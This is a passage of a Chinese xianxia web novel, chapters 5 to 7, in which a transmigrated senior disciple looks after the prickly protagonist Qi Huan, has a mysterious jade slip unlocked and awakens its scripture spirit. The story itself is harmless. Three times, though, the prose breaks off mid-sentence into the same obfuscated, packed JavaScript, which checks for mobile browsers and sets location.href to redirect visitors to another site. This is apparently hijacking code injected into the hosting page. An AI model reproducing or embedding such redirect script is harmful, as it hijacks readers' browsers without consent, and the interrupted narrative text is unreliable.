寻祁桓的时候他便听见了蝶湖秘境的事,现在整个玄界都在找一个来历不明的“凶人”,其身份……其实就是祁桓。 或者更准确地说,是祁桓的魔人分身。当初,祁桓得到《灭世魔经》之后,凭着超乎寻常的悟性领悟出了分魂塑体术,他分出七魂六魄的一魂,结合魔道傀儡以及活体血肉,耗费六六三十六日将魔人分身炼制而出。 它与其说是“分身”,不如说是一件法宝,因供其运作的并非祁桓而是魔经之力,所以实力比祁桓本人还要强大。 祁桓放分身在外,只为一点,那便是吞噬血肉,强化己身。否则,他何以在三玄宗修行至筑基,而且还是毫无杂质的绝顶道基。 书中写到,这家伙对外隐藏真实实力,若是有人怀疑,他便“污染”道基,掺入无数杂质,造成利用天材地宝强行筑基、导致道基浑浊的假象,打消他者的怀疑。 真可谓是……圆滑啊。 许清浔眼神复杂,又想起了刚刚与祁桓对话时,对方驾轻就熟的圆滑态度。 他眉头紧皱,神色格外凝重。 龙傲天不该是这样的,才十六岁,当是意气风发,不知天高地厚,直呼“我命由我不由天”的年纪,如今小小年纪就这般,将来还不得扭曲变态? 许清浔大怒,坚决抗拒原书的走向。 “咳咳,不能情绪上头,总之,按照原书的走向,很快御天宗就会查到三玄宗,借‘凶人’窝藏在三玄宗一事挑起是非,消灭三玄宗。” “至于说‘凶人’在不在三玄宗,可在意,可不在意。” 许清浔面色复杂,“那小子简直是个瘟神,走到哪里都是腥风血雨,所谓主角命格吧,还好,这件事不是不能化解。” 御天宗针对三玄宗的主要原因是怀疑某样东西在三玄宗,而事实上,那样东西根本不在。如此说来,化解危机不就简单了? 而且,更重要的是,许清浔知道那个东西的位置。 “嘿,何止要化解危机,我还要摆御天宗一道呢。” 他笑了笑,从袖中取出一道古卷,再放在桌上摊开,展出一副金玉山水画。 此物乃一件法宝,同样的法宝,另外还有五件,分别在他的五位师弟师妹手上,用来联系沟通。 此时,画面变幻,显露出一间寥落的山亭,画侧的字符变化,显露出李长金之名。 此人正是他的二师弟。 没等许清浔开口,画中人先开口,一副倦态的模样道:“师兄找我,是又有什么麻烦事了吧。” 许清浔罕见地没有笑,而是格外郑重地说:“大事,关系到宗门存亡。” 画中人顿时坐起,“何事?” 许清浔直言:“关于‘御天经’的位置。” 他长话短说,知无不言,画中人满头大汗,肉眼可见的紧张,最后才道:“师兄啊,你究竟从哪知道的这些秘事?” 许清浔一笑,指着自己的脑袋道:“自然是天道告诉我的。” 画中人目瞪口呆,随即哈哈大笑,擦了擦额头的汗道:“又是这句说辞,罢了罢了,谁让做师弟的就是得服从师兄呢。” 许清浔又道:“忘记说了,今儿我又收了一个小师弟,叫祁桓。” 画中人呆住,无奈道:“师兄又到处捡人?” 许清浔小咳一声,故作严肃道:“这小子天赋不错,就是心态……嗯,得我慢慢调教。” 画中人顿时打了个颤,好像回忆起了当初被许清浔调教的日子。 许清浔寻思着,又愤愤道:“还有,他太瘦了!呵呵,既然落到了我手上,我非要把他养得白白胖胖不可!” 画中人傻眼,奇怪道:“师兄,你这是喜欢他呢,还是不喜欢他呢?” “什么喜欢不喜欢?”许清浔反而一脸疑惑,正儿八经道:“是讨厌。” 画中人迷茫了,又问:“师兄讨厌这个七师弟,却要好好培育他,甚至要养得白白胖胖的?” 许清浔重重点头,并不觉得哪里有矛盾。 画中人寻思了一阵,只好道:“不管怎样,御天宗之事要紧。” 片刻之后,对话结束,许清浔喃喃自语:“借助二师弟背后的家族势力,以及我的情报,应该可以成功转移祸事。” 寻“凶人”既是寻凶报复,也是三大宗侵略其他道统的借口,甚至后者才更重要。 玄界危机四伏,唯有强大,比任何人都要强大,才能保自己,以及周围人平安无事。 许清浔浅吸了口气,到此,他已经差不多融入了这个身份,抑或者说,他本就是这个身份的人。 “奇也怪哉,我在这个世界刚出生时,只记得自己是穿越者的事,完全不记得《醒红尘》的内容,直到今天才想起来。” 许清浔纳闷,忽然心中一动,从虚空中取出一枚看似朴实无华的玉简。 “便宜师尊说这玩意是玄界第一道书,可是原书中……好像没有提到过吧?” 他放在手中把玩了好一会,仍旧没玩出什么花样。 他不觉得它真的是什么第一道书,若是,便宜师尊为何不自己留着,反而送给他?《醒红尘》人人为己,勾心斗角,便是师徒之间,也没有让出这等宝贝的道理,当然不排除他的便宜师尊是千载难逢的大好人…… 许清浔一愣,随即又犯了难。偏偏便宜师尊在原著中着墨太少,才寥寥几句,压根看不出什么人便是了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775788|174717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “注入灵力打不开,融入精血也打不开……能想到的开启方式我之前都试过了,这玩意压根打不开吧?” 他一阵迷惑,莫名想到了祁桓。祁桓自小善工,心灵手巧,什么锁都能打开,六岁时不小心打开了“神秘玄铁盒”引来家族大祸,后来更是连封锁《灭世魔经》的法阵都打开了,虽然后者有封印松动,以及经魔助力。 若是给祁桓看,他是不是能打开? 许清浔一顿,有些犹豫,过了片刻,他心有所动,抬指凝聚灵力,显现出一面水镜。 水镜开始浑浊,然后逐渐清晰,映照出了人与景。 那是祁桓所在的殿宇,此时他人不在屋内,而是走出了庭院。 是想逃走吗? 许清浔很了解祁桓,知道对方此时一定百般顾忌,只想尽快逃离这种地方。 明明,如果是你六七岁的时候,你应该直接与我翻脸,再到处搞破坏,逼得我不得不放走你。 才多久而已,怎么就这般了。 他不得不承认,自己一开始是很喜欢祁桓的,也正是因为一开始的喜欢,才有后来的厌恶。 抑或者说,怒其堕落。 隔壁书的男主开局赤子之心,完结仍是赤子之心,封号无数,天下归心。 对比起来,你呢? 一开始能说出“非要杀尽众生才能成仙?这仙我才不要”,后来却只能满心“为成仙不折手段”了,是吗。 许清浔正感觉头大,忽地睁大眼睛。 水镜中,黑衣少年停下脚步,抬起目光,望着树上。 顺其目光望过去,只见一截树枝上窝着一只奄奄一息的斑鸠。它几乎要死了,不知何故,或许是病了。 许清浔皱眉,又见黑衣少年走近大树,抬起右手,指尖凝聚起凌厉如剑的灵气。 这小子,连病鸟都杀?许清浔顿时急了。 但下一刻,他又愣住了。 水镜中,灵气如丝,飘然而至,环绕在斑鸠周围,逐渐注入其体内,接着,奄奄一息的斑鸠似乎恢复了活力,睁开豆大的眼睛,随后翅膀也动了,脚丫子稳而有力地踩在枝桠上,站起了身。 许清浔目瞪口呆。 斑鸠拍翅而起,绕着黑衣少年足足转了三圈,这才恋恋不舍地离去,仿佛在表达感激。 黑衣青年一言不发,似乎做了一件再寻常不过的小事,后负手离去。 “……” 许清浔看完全程,低着头一言不发,片刻后,他突然消去了身影。 - “此地果然不好脱身。”祁桓走回殿内,心中低语。 就在这时,熟悉的爽朗声线在正前方响起。 “师弟呀,师兄有事找你帮忙来了!” 祁桓顿住,缓缓地抬起视线。 只见,桌上堆满了各色灵石,满到好几颗砸落下来,滚到了他身前。 祁桓深吸了一口气,他暗里炼器,常年缺钱,突然看到这么多灵石,难免有些眼热。 而随手掏出这么多灵石的青衣修士笑着对他说,“帮师兄做个事,只要成了,这些都是你的。” “何事。”祁桓脱口而出。 “打开这枚玉简!”许清浔直言。 5. 第五章 “玉简?”祁桓呆了一下,目光落在许清浔手上的玉简上,打量一阵,没有过多犹豫便应了下来。 只是打开一枚玉简而已,就能得到那么多灵石,蠢货才不干。 见祁桓点头了,许清浔淡淡一笑。 两人于侧榻相对而坐。 半个时辰之后,祁桓额冒冷汗,周身的气息开始不稳。 许清浔看似平静,实则内心震惊。这枚玉简看来确实并非凡物,否则怎会连主角都犯难了。 他看祁桓面色难看起来,不禁道:“师弟,打不开也没关系,别硬来。” 祁桓眉头微皱,抓着玉简的手并没放松,他低声道:“我好不容易才看到了符纹。” 许清浔顿时一惊。修真界法宝众多,分为天阶、地阶、玄阶、黄阶、凡阶,等阶之外,还有灵器、法器、神器之别,修士除了修炼之外,通常都会祭炼法宝,倾注心血炼制的,一般是其本命法宝,而所谓炼制,最简单也最普遍的方法就是篆刻符纹。 木、火、水属符纹结合,可篆刻出飞行符纹,制作日行千里的飞舟。像这类记载着情报的玉简,一般是篆刻金属符纹。而所谓打开玉简,其实就是找到其符纹所在,再解开符纹。 用现代的话说,就是找到锁,再开锁。 许清浔之前找了许久,都只是隐约找到那个符纹,但看不清楚。而这家伙,居然一到手,便成功“看到了”。 原来如此,这就是天赋啊! 许清浔心中大喜,夸赞道:“不愧是师弟,师兄看好你!” 说话时他激动地拍了下祁桓的肩膀,差点令后者当场岔气。 祁桓额头冷汗密布,没好气地转头说:“师兄不要突然拍我。” 许清浔顿时歉然,抽回手,小声鼓励道:“没事没事,师弟加油!” “加油”是何意?祁桓不解,但没时间思考,他须用灵觉死死定住“符纹”的所在,看清符纹的演变构造,根本没法分心。 他感觉这事可不仅仅价值一桌灵石,可恶,早知道就要多点了。 看着祁桓全神贯注,许清浔也不由紧张。 那少年严肃起来,本就俊美容颜更显深刻,漆墨般的双眸仿佛流转着暗芒。 话说,这小子认真起来原来是这样子,难怪容易惹桃花。 许清浔越看越满意,在心里津津有味地数点着。有小弟如此,大哥复何求? 三刻钟后,祁桓突然松手,整个人大汗淋漓,猛地吸着空气,甚至唇角溢出了血丝。 “师弟没事吧!”许清浔顿时着急,右手抚在祁桓后背,想要帮对方梳顺气息。 玉简落在桌上,不再朴实无华,而是泛着浅淡的光华。 “没事。”祁桓面色惨白,迅速调理好了紊乱的内息,他余光看了眼许清浔,发现许清浔最先关心的竟并非玉简,而是自己。 他皱了皱眉,心念微乱,当即道:“师兄收手,我自己调理就好。” “没有逞强?”许清浔关切地问,好像知道祁桓会习惯地逞强。 祁桓不免诧异,但还是拒绝道:“不必,比起我,师兄不看看玉简吗。” 许清浔仿佛才想起玉简的事,转头看向桌上正盛放着光华的玉简。 “我修为不够,打不开,但是成功激发了符纹。”祁桓补充道。 虽然琢磨了半天,好不容易激发了符纹,但他其实并不知道那究竟是何物。 许清浔点点头,收在手中感知了一下,随即面露震惊之色,然后更是满脸的不可思议,口中喃喃道:“竟是它!” 祁桓不明所以,偏偏在这时,他体内的《灭世魔经》隐隐发热,好像十分抗拒那物。 许清浔将玉简收回袖中,转头大笑道:“多谢师弟!师弟果然擅长解锁解封!” “果然?”祁桓下意识问。 许清浔理所当然道:“不是吗?” 祁桓不明白,也摸不清,这个人究竟对他知道多少? “哈哈,师弟莫要紧张,师兄对你之心,日月可鉴,天道可昭!”许清浔言之凿凿,笑容中毫无阴翳。 “……” 有那么一瞬间,祁桓仿佛看到了过去的自己。 曾经他也是这般天真无邪,认为世间全是好人,直到…… 他沉默下来,眼神流露暗色。 恰在这时,面前传来一股药香。 他抬起头,映入眼帘的是托着腮的青衣修士,还有一只摇着药瓶的手。五指修长如玉,宽袖下的手腕意外的纤细。 “守元丹,气息紊乱或是灵力躁乱时都能用,赠师弟。” 祁桓沉默了下,双手接下,端得礼仪周正。 许清浔却皱了眉,不满道:“师弟不必如何客气,这里是师兄的地盘,在这里,师弟做自己便好。” 祁桓一顿,不明白何谓“做自己”。 许清浔耐心解释道:“本性自然。” 祁桓瞳孔微缩,“师兄的意思是,师弟虚情假意么。” “那不是。”许清浔摆了摆手,“是说你太板正了,你面对自家哥哥,须如此礼仪周正吗?” 祁桓一愣。 许清浔倒也不急,耐心十足道:“嗯,你可能还不习惯。”说着,他站起了身,居高临下却温柔异常,“待久了就会习惯的,只要是有师兄在的地方,大可安心!” “……”祁桓呆了呆。 这个人真的就是传说中那个最神秘、最高深莫测的三玄宗大师兄吗。 他刚这么想,突然面色一黑。 许清浔又没忍住摸了摸黑衣少年的脑袋,还一脸赞许的表情。 祁桓没忍住恼了,抬手拍开许清浔的手,而拍之后他便意识到不妙,连忙看向许清浔,怕这一举动招其不快。 却没想到,许清浔一脸欣喜,还激动道:“这就对了!不满就要表现出来。” “你……”祁桓有点傻眼。 许清浔认真道:“别把自己憋坏,知道吗?” “……是。” 大概是从未见过这般人,听过这些话,祁桓竟一时不知如何回应。 “那今日便如此,师兄有事要忙了,师弟好好调养!” 青衣修士说完消失便消失,只留下一桌的灵石,还有……空气中淡淡的药香。 良久之后。 “本性自然吗。” 可没有实力,何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775789|174717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的本性自然。 祁桓想起宗门的传闻,一说三玄宗大师兄为人慷慨,乐于助人,不吝赐教;一说其表面单纯,城府极深,对一些不为人知的玄界秘辛有着超乎寻常的见解。 传闻归传闻,真实相处…… 祁桓又是一阵沉默,发现自己根本无法评价那个人。 唯有一点很清楚,那个人似乎……对自己是好意。 想到这里,祁桓面色有些古怪,取出许清浔所赠的“夫妻佩”,端详了好一会。 正常人会送给师弟这种东西吗?又不是…… 祁桓忽地面色黑沉,随即抛开烦思,取走桌上的灵石。 思考这些毫无意义,先修炼再说! - 几乎与此同时,许清浔心情大好,走在庭院里几乎笑开了花。 “我家师弟初养成,喜哉喜哉!” 正笑着,他突然咳了一声,闪身回到殿内,打开画卷道:“二师弟找师兄何事?” 画中人都要无语了,才找人帮忙的,一转头就忘记了? 李长金绷不住道:“师兄不关心御天宗的事了?” 许清浔立马肃然,问道:“如何了?” 李长金挑了挑眉,“妥了,御天宗得知消息后,据说连宗主都惊动了,一群大修冲去探禁区。” 许清浔满意点头,又问:“鸿蒙宗、问道宗作何反应?” 李长金道:“他们不可能坐视御天宗寻到御天经,自然也动身了。” 许清浔嗯了一声,对面三个庞然大物互相牵制,对当下来说,再好不过。 李长金担心道:“师兄不怕御天宗寻到御天经吗?” 许清浔笑了,他当然不怕,因为那个地方有个毁天灭地的老怪物坐镇,别说区区御天宗,就是三大宗联手,都没用。 话说这御天宗也是抽象,几千年前,有个元婴老祖寻到一本上古经书,因字迹模糊,辨识不清,推测是御天经,后来修行演练之后,笃定是御天经,于是开宗立派,建立了后来的御天宗。 整整八千年,他们都以为他们的道统源自于御天宗,直到……界外来人无情点破,揭露出他们修炼的是卸天经,乃后世某一大能玩乐之间写出的功法。 可想而知,他们当时会有多破防。若是让世人知道,他们只怕会颜面扫地。 所以,他们迫切想要找到真正的御天经以正道统。 虽然,那几乎是不可能之事。 许清浔心中想了想,抬头对李长金说:“多余之事,二师弟就不必挂心了。” 李长金哦了一声,别有意味道:“师兄忙着调教小师弟?” 许清浔点点头,兴致勃勃道:“那是自然。” 李长金寻思着,“我那时候可没见师兄如此挂心。” 许清浔光明正大的双标,“他跟你不一样。” 李长金莫名心碎,只好道:“师兄开心就好。” 关画卷,收入袖,许清浔思考片刻,取出了泛着光华的玉简。 他没想到,便宜师尊居然没骗他,这枚玉简之来历超乎想象,但根本不是什么玄界第一道书,而是《醒红尘》第一道书——《原始太虚经》! 6. 第六章 咳,冷静冷静。据《醒红尘》的说法,《原始太虚经》是混沌自成的经书,为万经之始、万道之经,但书中只是提到一两句,并未有人真正得到。 万万没想到,它就在便宜师尊的玉简里面! 众所周知,修真讲究“地法财侣”,地为天地,为道场,虽影响甚大,但在《醒红尘》中并非关键,财、侣更是其次,那最关键的,自然便是“法”! 何谓法?即道法!从何学道法?一从师,二从经,在《醒红尘》中后者最为关键!想想看,男主为何能够一路杀尽诸敌走到最后?除了主观因素之外,最大的客观因素便是《灭世魔经》。 《灭世魔经》的等阶超越天阶,属于混沌古经之列,同样被传为混沌古经的经书有七大,《御天经》都够不着第七位,而《灭世魔经》排在第三,《原始太虚经》排在第一,说是万古第一道书丝毫没有夸张。 《醒红尘》中的七大经书之主,无不是实力无敌、风华绝代的人物,谁能不向往?谁能不想尽办法寻得它们,可惜有说法称,非人寻经书,而是经书寻人!而且每一本经都有经灵,比如《灭世魔经》的经魔,那经魔活了万古岁月,老奸巨猾,尤擅操纵人心,曾以一己之力祸乱了三个纪元,恶行累累,每一个宿主都深受洗脑。 想到这里,许清浔表情复杂,他揣摩了一下,摇摇头,手指抚摸着玉简,喃喃自语:“符纹虽刻着《原始太虚经》五字,但也有可能只是同名,里面未必就是《原始太虚经》本经。” 再说了,这枚玉简得来太过容易了不是吗。 许清浔身为游戏策划,“收获”与“难度”必定成正比的思想钢印根深蒂固,因此多少有点不相信。 再说了,能不能解开还是一个问题。 他犹豫了一阵,默念十次清心诀,神情前所未有之庄重,接着缓步走到修炼室内,清身焚香,肃然而坐,目光清澈而郑重。 他闭上双眸,静心片刻后,才将灵觉探入玉简内,连接上符纹,感受、体会其描摹演变,以及脉动。 什么,脉动? 沉浸其中三刻钟后,许清浔心念微动,感受到符纹所传来的源源不断的灵气。与此同时,他脑内灵光闪动,并非比喻,而是真的仿佛脑内了开了光,闪得惊人。 许清浔此身从小卷到大,筑基的道基历史未见之稳固,且五行完美,堪称五边形战士,他本以为自己的道基已经完美无瑕,没有可能再进化了,却没想到一股灵光自他的大脑飞窜入他的四肢百骸最后汇聚于他的丹田,源源不断地升华着他的道基。 一身杂质被不断排斥,明明怎么看都干净了,还有杂质被不断排出道基,他不由自主地呼出一口口浊气,同时双眸灵光闪动,灵觉前所未有之空明清丽,肉身亦是前所未有之轻盈,好像一念之间可飘至几千里外,将空间视若不存在。 再之后,一副模糊而玄妙的图……或者是一堆说不清道不明的数字,在脑内盘旋盘绕,开始时忽快忽慢,后来逐渐稳定,匀速地、规律地…… 许清浔忽然神清气爽,正要复盘自己的体验。 一道清爽而玩味的笑声突然响起,在修炼室内格外响亮。 “桀桀桀,你醒了!” 许清浔一顿,下意识问道:“经灵?” “正是!本经沉睡了几个纪元,被宿敌的气息熏醒了,可恨!本经要睡一觉。” 说完,任许清浔如何呼唤,那道声音也没有再响起。 许清浔一脸茫然,“宿敌?谁是宿敌?话说回来,它真的就是《原始太虚经》吗?” 话音未落,那道声音愤怒道:“你竟敢怀疑本经的身份?气死了本经了!” 许清浔一呆,立刻赔笑道:“哈哈,这不是初次见面吗?” “哼,本经要睡觉了,不要吵。” 许清浔连连应是,他也是没想到,《原始太虚经》居然是真的,而且里面也真的有个经灵,就是脾气……多少有些孩子气?真是琢磨不透,跟其他那些要么老奸巨猾、老气横秋的不太一样。 本想问它自己脑内的符纹数字是什么情况,但既然它都谁了,倒也不好打扰。 许清浔晓得,这类老怪物一个个自我得很,一身怪脾气,只有别人迁就它们,没有它们迁就别人。脑内的符纹数字一看就神秘且危险,还是等它醒了再问吧。 “啊!”许清浔突然眼前一亮,低声惊道:“莫非它刚刚说的宿敌是《灭世魔经》?” 好家伙,《醒红尘》里面没提到这一茬啊。感情它根本不是被祁桓开启的,而是被祁桓体内的《灭世魔经》气醒的。 也对,沉睡了这么久,突然间闻到宿敌的气息,还如此近距离,不急才怪。 那灭世对应创世,《原始太虚经》不是“创世”之经吧? 许清浔大胆联想,觉得非常有理,自己误打误撞,倒是真的碰到了一个绝顶金手指,就是不知道好不好用就是了。 毕竟《醒红尘》也明白地提到过,混沌古经,每一个都是双刃剑,给宿主带来巨大好处的同时,也会带来与之同等、甚至更有甚之的风险与危机,尤其是《灭世魔经》。 前有德不配位,后有德不配经。这种时候更要调整心态! 许清浔淡淡一笑,大概因为他是读者吧,知道的越多,心态也就越稳。 不过,也是这时,他才意识到自己的练功室内全是灵气杂质,亦或说,浊气。 “气随处可见,普遍之至,毫无杀伤力可言,对比刀剑更是不必说,但对我来说,再简单的东西,也可炼为法宝。” 许清浔又是一笑,起身翻袖,瞬间将屋内所有“气息”收入袖中。 从自身出来的“气息”本就与自己同源,炼化起来更不费力。他本只是想了一下,没想到被《原始太虚经》进化过后,自己的法力居然进化了一个层次,几个呼吸间就能将它们完美炼化,要知道,放在平日,这可至少需要一个时辰。 许清浔心中意外,又觉得理所当然,否则为何这么多人渴望得到古之经书呢?他想起前段时间的万宗大比,他虽斩获了第一,但过程中颇为费力,而如今……嘿,一鼓作气将他们全部打趴都不是梦了! 果然,咱点家读者穿越啊,就得战出一个无敌路,龙傲天?已收作小弟廖。 许清浔内心哈哈大笑。 欸等等,祁桓此时在干什么? 此时天色已暗,四野寂静,外来只有微弱的浪声。许清浔身为修真之人,无须灯光识物,但还是习惯地寄了一颗夜明珠。 一转眼间,殿内被照亮得如同白昼。 接着,许清浔再次祭出一面水镜,镜中逐渐浮现出景物与人影。 他并不担心对方会发现,因为水镜术十分隐秘,原著中祁桓筑基期的时候还察觉不到这个术。 镜中,少年盘坐于蒲团之上,背脊挺立,神色严肃,一双剑眉交拧着,隐隐透着几分痛苦。 “他……倒是没有连夜逃跑。” 许清浔感慨,心知其中原因,对方还是忌惮。 曾经天真无邪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775790|174717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,如今架起防御,慢慢地学习如何防范别人、如何藏匿自己的心思,如何做一个……表里不一的人,如此才能生存下来。 看,即便在这么安全的地方,他都刻了好几个法阵。嗯,客观上安全,主观上不安全么…… 许清浔微微蹙眉,不得不说,一开始他以为这件事很简单,不就是给龙傲天一个安全的庇护所吗?只要有了,那家伙就不必伪装自己,各种提防他者,甚至后来学习起心计。 但……人终究不是泥土,让你想拿捏就拿捏,哪儿缺了一块就往哪里补。 要让他真正安心下来,自己仍旧任重道远。 许清浔想着,不自觉地看着祁桓笑了笑,但又想起来,自己讨厌了这家伙那么多年,怎么还对讨厌的家伙笑了? 嗯……因为这家伙还没有变成那个自己最讨厌的样子? 许清浔摸了摸下巴,认为有理。 他看了好一会,足足过了半个时辰,也不知道在想什么,突然神色一变,紧张道:“咋了,怎么炼着炼着,大半夜吐血?” 水镜中的少年大口咳血,面色苍白如纸,双唇更是没有血色。 许清浔皱眉,接着看见少年擦干血迹,又端正坐姿,重新运气修炼。 “也不服些丹药吗。”许清浔低声念叨,偏偏他又清楚,祁桓体质特殊,是个不折不扣的丹药坑,丹药买都不够吃,修炼起来巨烧丹。换句话说,祁桓不吃,估计是吃完了。 至于为什么吃完了不去补充,当然是因为他把人带来守真岛了。 想到这里,许清浔小咳一声,莫名有点良心不安。 不到片刻,少年再次大口吐血,这次面色更加难看。 许清浔坐不住了,看着祁桓摇摇欲坠的样子,心想要是因为自己的耽误,导致主角练功练死了怎么办? 虽然不至于,但……偏偏祁桓的性格就倔,而且极其钻牛角尖。 讨厌归讨厌,许清浔作为根正苗红的现代人,可从没想过要祁桓死。再说了,身为大哥,岂能见小弟陷入危机而不顾? 许清浔顿时凛然,在祁桓聚精会神地修炼之时,悄无声息地突破法阵,在祁桓面前不远处的桌上放了一瓶养血丹,之后迅速闪身不见。 又是不到片刻,祁桓再次大吐血,本就消瘦的身躯竟更瘦了一圈。他睁开眼睛,看见桌上突然出现的瓶子,并无反应,又一次闭上了眼睛。 许清浔傻眼了,“这小子属牛的吗这么犟,有药不吃,犟什么犟啊!” 果然又不到片刻,少年再次大口喷血,内息混乱到瞎子都能看得出来的程度。 可是即使如此,他也没有吃药,又闭眼修炼。 许清浔活见鬼了,恨不得冲进去押着祁桓狂灌药,这臭小子,大哥给药都不吃,这是不给大哥面子啊。 他气得满脸通红,在殿内来回踱步,果不其然又看见祁桓吐血……哦不,这次是直接倒下了? 许清浔停步,面色阴晴不定,脑后一个小人低语说,管他去死,不听大哥言,吃亏在眼前!一个小人却说,弟弟而已,刚相识不久,不信你的药,情有可原嘛。 他纠结了一阵,最终还是出现在对面的修炼室,将那个逞强到半死不活的小子扶起,往嘴里灌了三枚丹药,怕不好消化,他还不得不体贴地灵力化了一下药力。 他寻思,养这小子跟养花一样,只不过……是一朵不得了的食人花。 却不知道,本该昏睡的小子在他背对时睁开了一只眼,幽冷的眸子径直盯着他。 7. 第七章 有视线!许清浔突然转身,只见床上人双目紧闭,呼吸均匀,没有丝毫异样。 他寻思了一下,心想刚刚是错觉吗,应该是吧?这小子躺着呢,跟尸体没两样,哪可能盯着人看。 “话又说回来,这小子会不会太瘦了,我一根手指都能拎起他。” 许清浔摇摇头,心中很是不满,方才他趁机捏了几把,可还记得那股手感。这小子八成是给分身分了太多血肉,才导致本体瘦虚。 “明日去搞些灵兽肉给他吃?”许清浔灵机一动,眼睛都亮了,转头又自己反对,“凭什么我真的得养他?再说了,要肉就自己去打猎!” 唉,此主意甚好!许清浔一拍手,自顾自地点点头。 次日一早,祁桓起身,板着脸沉思了许久,直到阳光晒到屋内,才推门而出。 没想到,门一开,迎面而来就是一阵风。 再睁开眼,面前风景突变,耳边传来一阵哭号。 “大师兄!你调教小师弟跟我什么关系,干嘛也带上我啊。” 祁桓一愣,顺着声音望去,发现不远处的黑土上赫然站着一个灰头土脸的青年。 那青年察觉到他的目光,还向他咧嘴一笑,“嘿小师弟,听说你是大师兄的新宠。” 祁桓面色顿黑,差点想开口质问,你说谁是新宠,还有,旧宠是谁?你? 青年自我介绍道:“我是你六师兄,符水门,你第一次来狩猎场,师兄让我来带带你呢。” 祁桓微微皱眉,随即向符水门行礼,温和道:“多谢符师兄。” 符水门眼里闪过一丝诧异,但没有立刻说出,而是明朗一笑,“好,跟紧师兄背后!” 试炼场外,许清浔笑呵呵地看着他们的互动,赞许道:“不愧是我,作为一代大师兄,我哪有事必躬亲的道理?前面不还有其他师兄师姐吗?” 再说了,符水门欠他的人情简直还不完啊。 他一脉七人,他与祁桓暂且不说,其他五人各有各的个性。二师弟李长金是李家主脉子孙,身份非比寻常,虽在三玄宗拜了师门,但人长时间待在李家,个性上吧,李长金最大的好处是好用,而且对他这个大师兄非常信服! 三师妹与四师妹乃一对双胞胎,一个温柔如水,一个暴烈如火,常年历练在外,很少回宗。 五师弟是个自闭佬,整天阴郁爱碎碎念,洞府里养了一大堆蛊虫,恐怖如斯。 唯有这个六师弟既在宗内,又是个社交达人,适合喊来带一下祁桓。 “你小子是时候感受一下什么叫做大家庭的温暖了!” 许清浔深有感触,好像看见了祁桓和符水门友好相处,狩猎到无数灵兽的美好画面。 却在这时,李长金很不合时宜地说:“大师兄,你又偷懒。” 许清浔一呆,不好意思地挠了挠脸,转头问道:“那没办法,他对我有偏见!” 李长金冷漠无情,“是大师兄看着太不正经了。” 许清浔有点发窘,竟一时间不知如何反应。 李长金忽地认真起来,问道:“所以,那个小师弟是何来历,为何大师兄如此关注他。” 许清浔回过神,小咳一声,“他身世有些复杂,二师弟不必知道。” 李长金却皱了皱眉,道:“大师兄你又尽往自己身上揽事?” 许清浔一顿,沉思片刻,收敛了轻浮之色,正经道:“没办法,我放不下他。要不,你也回宗看看?我觉得他不会让你失望的。” “失望?”李长金挑了挑眉,“你的意思是他天资出色,非同常人?” 许清浔自信点头,笑道:“对!你想想,我怎会无缘无故看上什么人?” 李长金一呆,心里还是有些怀疑。 就在这时,一道惨叫声透过阵法,几乎响彻他的天灵盖。 “七师弟啊啊——你慢点!!” 什么?李长金转头看向另一面画卷。 只见,大地震动,森林摇晃,黄土飞天,滚滚如海。 一位少年飞奔而出,身上满是鲜血,而另一位青年气喘吁吁,快要追不上少年。 李长金一愣,发现少年健步如飞,举止之间尽是游刃有余,估计身上的血都不是他的。 青年却是一路磕磕碰碰,撞了一头包,好不狼狈。 而再仔细一看,还能发现少年怀里揣着一物,那物不大,发着微弱的青光,与此同时,两人身后青光大盛,紧接着地动山摇,还有一道震天动地的兽嚎。 到底,发生什么事了? 李长金一脸茫然。 而许清浔则乐滋滋地分析道:“他偷了兽主的蛋!” 李长金愕然,当即扭头道:“这么大胆,一上来就惹兽主?” 许清浔自豪道:“二师弟啊,你不晓得擒贼先擒王吗?试炼场内的灵兽之中,最强的是兽主,而你若有实力拿下兽主,又何必绕弯子?” 李长金闻言更加难以置信,“可是丁级试炼场的兽主实力高达筑基,这个七师弟才十六七岁,哪来的实力?” 许清浔明白他的意思。 十年前灵气复苏,修士的修炼速度大为提升,练气效率大大提高,但即使如此,能在二十岁以内突破筑基都是少数中的少数,当中每一位都可以称为一代天才。 一个名不见经传的小弟子,怎么可能拥有这等实力? 若许清浔不是读者,自然也会是震惊群众的一员。他没忍住笑了,对李长金道:“二师弟,你且看着。” 李长金呆住,转头看向那片黄土漫天的画卷。 兽主真身显露,是一只数十丈高的蛇尾猿,猿头嘶吼,音浪震天,蛇头追击,速度如电。 符水门慌忙祭出水符,叫喊道:“师弟我来挡住他!” 他口中的师弟却走在他面前,从空气中抽出一柄直且长的刀。 